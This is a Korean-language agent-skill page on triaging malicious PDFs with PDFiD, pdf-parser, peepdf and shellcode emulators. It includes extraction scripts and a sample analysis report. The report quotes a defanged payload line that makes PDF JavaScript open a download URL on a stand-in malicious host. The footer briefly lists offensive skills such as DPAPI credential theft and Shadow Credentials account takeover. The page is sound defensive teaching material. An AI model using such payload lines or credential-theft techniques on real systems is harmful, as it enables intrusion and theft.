Communitygithub.com

PDFiD를 활용한 악성 PDF 분석

PDFiD, pdf-parser, peepdf를 사용하여 악성 PDF 파일을 분석합니다.

PDFiD를 활용한 악성 PDF 분석란 무엇인가요?

이 스킬은 보안 분석가가 PDFiD, pdf-parser, peepdf 등의 도구를 활용하여 악성 PDF 파일을 구조적으로 분석하는 방법을 제공합니다. 의심스러운 PDF 첨부파일이 발견되었을 때, JavaScript, 셸코드, 악성 객체가 포함되어 있는지 신속하게 판별하는 데 사용됩니다. PDFiD로 /JS, /OpenAction, /Launch 같은 고위험 키워드를 탐지한 후, pdf-parser로 특정 객체를 추출 및 역압축하여 JavaScript 코드, 임베디드 파일, URL 등을 분석합니다. peepdf는 대화형 분석 환경을 제공하며, scdbg나 speakeasy를 통해 추출된 셸코드를 에뮬레이션할 수 있습니다. 이 스킬은 샌드박스나 분석 환경에서 PDF를 열기 전에 사전 조사하는 용도에 적합하며, 분석 결과는 보고서 형식으로 정리되어 IOCs(침해지표)를 추출할 수 있습니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-pdf-malware-with-pdfid

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

PDFiD를 활용한 악성 PDF 분석은(는) 무엇을 하나요?

사용 시점

  • 이메일 보안에서 의심스러운 PDF 첨부파일이 플래그되거나 사용자가 신고한 경우
  • PDF에 JavaScript, 셸코드 또는 익스플로잇 코드가 포함되어 있는지 확인해야 하는 경우
  • PDF 문서를 샌드박스나 분석 환경에서 열기 전에 사전 분류하는 경우
  • 악성 PDF 객체에서 임베디드 실행 파일, 스크립트 또는 URL을 추출하는 경우
  • Adobe Reader 또는 기타 PDF 뷰어 취약점을 대상으로 하는 PDF 익스플로잇 킷을 분석하는 경우

사용하지 말아야 할 경우: PDF의 렌더링된 시각적 콘텐츠를 분석하는 경우에는 사용하지 마십시오. 이 스킬은 악성 객체를 위한 PDF 파일 형식의 구조적 분석을 위한 것입니다.

사전 요구 사항

  • Python 3.8+ 및 Didier Stevens의 PDF 도구 설치 (pip install pdfid pdf-parser)
  • 대화형 PDF 분석을 위한 peepdf 설치 (pip install peepdf)
  • 안전하게 텍스트 콘텐츠를 추출하기 위한 poppler-utils의 pdftotext
  • 악성코드 계열 식별을 위한 PDF 특화 규칙을 갖춘 YARA
  • PDF 리더가 설치되지 않은 격리된 분석 VM (우발적 열기 방지)
  • 임베디드 Base64, 16진수 또는 deflate 스트림 디코딩을 위한 CyberChef

워크플로우

1단계: PDFiD를 사용한 초기 분류

의심스러운 키워드와 구조를 PDF에서 스캔합니다:

# 의심 요소 식별을 위해 PDFiD 실행
pdfid suspect.pdf

# 예상 출력 분석:
# /JS           - JavaScript (높은 위험)
# /JavaScript   - JavaScript 객체 (높은 위험)
# /AA           - 열릴 때 자동 실행 작업 (높은 위험)
# /OpenAction   - 문서 열기 시 작업 (높은 위험)
# /Launch       - 외부 애플리케이션 실행 (높은 위험)
# /EmbeddedFile - 임베디드 파일 (중간 위험)
# /RichMedia    - Flash 콘텐츠 (중간 위험)
# /ObjStm       - 객체 스트림 (난독화에 사용됨)
# /URI          - URL 참조 (맥락적 위험)
# /AcroForm     - 대화형 양식 (중간 위험)

# 추가 세부 정보로 실행
pdfid -e suspect.pdf

# 무장 해제(의심 키워드 이름 변경)와 함께 실행
pdfid -d suspect.pdf
PDFiD 위험 평가:
━━━━━━━━━━━━━━━━━━━━━
높은 위험 지표 (개수 > 0):
  /JS, /JavaScript  -> 임베디드 JavaScript 코드
  /AA               -> 자동 작업 (사용자 상호작용 없이 트리거)
  /OpenAction       -> 문서가 열릴 때 코드 실행
  /Launch           -> 외부 실행 파일을 실행할 수 있음
  /JBIG2Decode      -> CVE-2009-0658 익스플로잇과 관련됨

중간 위험 지표:
  /EmbeddedFile     -> 임베디드 파일 포함 (EXE/DLL 가능)
  /RichMedia        -> Flash/멀티미디어 (Flash 익스플로잇)
  /AcroForm         -> 제출 작업이 가능한 양식
  /XFA              -> XML Forms Architecture (복잡한 공격 표면)

낮은 위험 지표:
  /ObjStm           -> 객체 스트림 (난독화 기법)
  /URI              -> 외부 URL 참조
  /Page             -> 페이지 수 (맥락만)

2단계: pdf-parser를 사용한 PDF 구조 분석

PDFiD가 식별한 의심스러운 객체를 조사합니다:

# JavaScript를 참조하는 모든 객체 나열
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# OpenAction이 있는 모든 객체 나열
pdf-parser --search "/OpenAction" suspect.pdf

# 특정 객체 ID로 추출 (예: 객체 5)
pdf-parser --object 5 suspect.pdf

# 스트림 콘텐츠 추출 및 압축 해제
pdf-parser --object 5 --filter --raw suspect.pdf

# 임베디드 파일 검색
pdf-parser --search "/EmbeddedFile" suspect.pdf

# 모든 객체를 유형별로 나열
pdf-parser --stats suspect.pdf

3단계: 임베디드 JavaScript 추출 및 분석

PDF 객체에서 JavaScript 코드를 꺼냅니다:

# pdf-parser를 사용하여 JavaScript 추출
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# 대안: 대화형 JavaScript 추출을 위해 peepdf 사용
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# JS 분석을 위한 peepdf 대화형 명령어:
# js_analyse          - 모든 JavaScript 코드 추출 및 표시
# js_beautify         - 추출된 JavaScript 정리
# js_eval <object>    - 샌드박스 환경에서 JavaScript 평가
# object <id>         - 객체 콘텐츠 표시
# rawobject <id>      - 원시 객체 바이트 표시
# stream <id>         - 압축 해제된 스트림 표시
# offsets             - 파일 내 객체 오프셋 표시
# 포괄적인 PDF JavaScript 추출을 위한 Python 스크립트
import subprocess
import re

# 모든 스트림 추출 및 JavaScript 검색
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# JavaScript 참조를 포함하는 객체 ID 찾기
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# 각 JavaScript 포함 객체 추출
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== 객체 {obj_id} ===")
    print(result.stdout[:2000])

4단계: 임베디드 셸코드 분석

PDF 익스플로잇에서 셸코드를 추출하고 검사합니다:

# 셸코드 분석을 위한 원시 스트림 데이터 추출
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# scdbg(셸코드 디버거)로 셸코드 분석
scdbg /f shellcode.bin

# 대안: speakeasy를 사용한 셸코드 에뮬레이션
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# 셸코드가 수행한 API 호출 검토
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# CyberChef를 사용하여 16진수/base64 인코딩된 셸코드 디코딩
# 입력: 추출된 스트림 데이터
# 레시피: 16진수에서 변환 -> x86 디스어셈블

5단계: 임베디드 파일 및 URL 추출

임베디드 실행 파일과 연결된 리소스를 꺼냅니다:

# PDF에서 임베디드 파일 추출
import subprocess
import hashlib

# 임베디드 파일 객체 찾기
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# MZ 헤더를 검색하여 임베디드 PE 파일 추출
with open("suspect.pdf", "rb") as f:
    data = f.read()

# 임베디드 PE 파일 검색
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # PE 시그니처 확인
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"임베디드 PE 발견 (오프셋 0x{pos:X})")
            # 추출 (PE 헤더 사용 또는 크기 추정)
            embedded = data[pos:pos+100000]  # 초기 추출
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

# PDF에서 URL 추출
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>\"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")

6단계: 분석 보고서 생성

PDF 분석의 모든 결과를 문서화합니다:

분석 내용:
- PDFiD 분류 결과 (의심 키워드 개수)
- PDF 구조 이상 (객체 스트림, 교차 참조 문제)
- 추출된 JavaScript 코드 (필요시 디난독화)
- 셸코드 분석 결과 (API 호출, 네트워크 지표)
- 해시와 함께 추출된 임베디드 파일
- URL 및 외부 참조
- 알려진 익스플로잇 감지 시 CVE 식별
- 알려진 PDF 악성코드 계열에 대한 YARA 규칙 일치

주요 개념

용어정의
PDF 객체PDF 파일의 기본 구성 요소; 객체는 스트림(압축 데이터), 사전, 배열 및 다른 객체에 대한 참조를 포함할 수 있음
OpenAction문서가 열릴 때 실행할 작업을 지정하는 PDF 사전 항목; JavaScript 익스플로잇을 트리거하는 데 흔히 사용됨
PDF 스트림PDF 객체 내의 압축된 데이터로, JavaScript, 이미지, 임베디드 파일 또는 셸코드를 포함할 수 있음; 일반적으로 FlateDecode로 압축됨
FlateDecodePDF 스트림에 적용되는 Zlib/deflate 압축 필터; 콘텐츠를 분석하려면 압축을 풀어야 함
ObjStm (객체 스트림)여러 객체를 단일 압축 스트림 내에 저장하는 PDF 기능; 악성코드가 단순한 파서에서 의심스러운 객체를 숨기는 데 사용함
JBIG2PDF의 이미지 압축 표준; 익스플로잇의 역사적 원천 (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY)
PDF JavaScript API양식 조작, 네트워크 액세스 및 OS 상호작용을 위해 PDF 문서에서 사용 가능한 Adobe 특화 JavaScript 확장

도구 및 시스템

  • PDFiD: 전체 문서를 구문 분석하지 않고 PDF 문서에서 의심스러운 키워드와 구조를 스캔하는 Didier Stevens의 도구
  • pdf-parser: PDFiD의 동반 도구로, 상세한 PDF 객체 추출, 스트림 압축 해제 및 콘텐츠 분석을 제공함
  • peepdf: 객체 검사 및 JavaScript 추출을 위한 대화형 셸을 제공하는 Python 기반 PDF 분석 도구
  • QPDF: 더 쉬운 분석을 위해 PDF를 선형화, 복호화 및 재구성하는 PDF 변환 도구
  • scdbg: x86 셸코드 실행을 에뮬레이션하고 API 호출을 기록하는 셸코드 분석 도구

일반적인 시나리오

시나리오: 임베디드 JavaScript가 포함된 피싱 PDF 분류

컨텍스트: 이메일 게이트웨이가 의심스러운 JavaScript 지표가 있는 PDF 첨부파일을 플래그했습니다. 보안 팀은 익스플로잇이 포함되어 있는지 또는 사회 공학 리디렉션인지 확인해야 합니다.

접근법:

  1. PDFiD를 실행하여 /JS, /JavaScript 및 /OpenAction의 존재와 개수를 확인합니다.
  2. pdf-parser를 사용하여 OpenAction 객체를 추출하고 참조 체인을 추적합니다.
  3. 참조된 스트림 객체에서 JavaScript 코드를 추출합니다(FlateDecode 필터 적용).
  4. JavaScript를 디난독화합니다(16진수 문자열 디코드, eval 체인 해결).
  5. 스크립트가 PDF 리더 취약점(힙 스프레이, ROP 체인 확인)을 익스플로잇하는지 또는 리디렉션을 수행하는지 확인합니다.
  6. 모든 URL, IP 및 임베디드 파일을 IOCs로 추출합니다.
  7. 샘플을 분류합니다: 익스플로잇(특정 CVE) 또는 사회 공학(리디렉션/피싱).

함정:

  • 명령줄 도구로 분석하는 대신 표준 리더에서 PDF를 여는 행위
  • PDFiD가 감지하지만 단순한 파서가 놓치는 객체 스트림(/ObjStm) 내부에 숨겨진 JavaScript를 발견하지 못함
  • 분석 전에 스트림 압축 해제를 하지 않음(FlateDecode, ASCIIHexDecode, ASCII85Decode 필터)
  • /JS가 없다고 JavaScript가 없는 것으로 간주함; 코드는 양식 필드(/AcroForm with /XFA)에 삽입될 수 있음

출력 형식

PDF 악성코드 분석 보고서
==============================
파일:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
파일 크기:        45,312 바이트
PDF 버전:         1.7

PDFID 분류
/JS:              1  [높은 위험]
/JavaScript:      1  [높은 위험]
/OpenAction:      1  [높은 위험]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [난독화]

의심스러운 객체
객체 5:          /OpenAction -> 객체 8 참조
객체 8:          /JavaScript 스트림 (FlateDecode, 압축 해제 시 2,847 바이트)
객체 12:         객체 15-18을 포함하는 /ObjStm

추출된 JavaScript
계층 1:          eval(unescape("%68%65%6C%6C%6F"))
계층 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // 사회 공학 리디렉션, 익스플로잇 아님

추출된 IOCs
URL:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
도메인:          malicious[.]com, fake-login[.]com

분류
유형:             사회 공학 (URL 리디렉션)
CVE:              없음 (익스플로잇 코드 미감지)
위험:             높음 (실행 가능 페이로드 다운로드)
계열:             일반 PDF 드로퍼

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

관련 스킬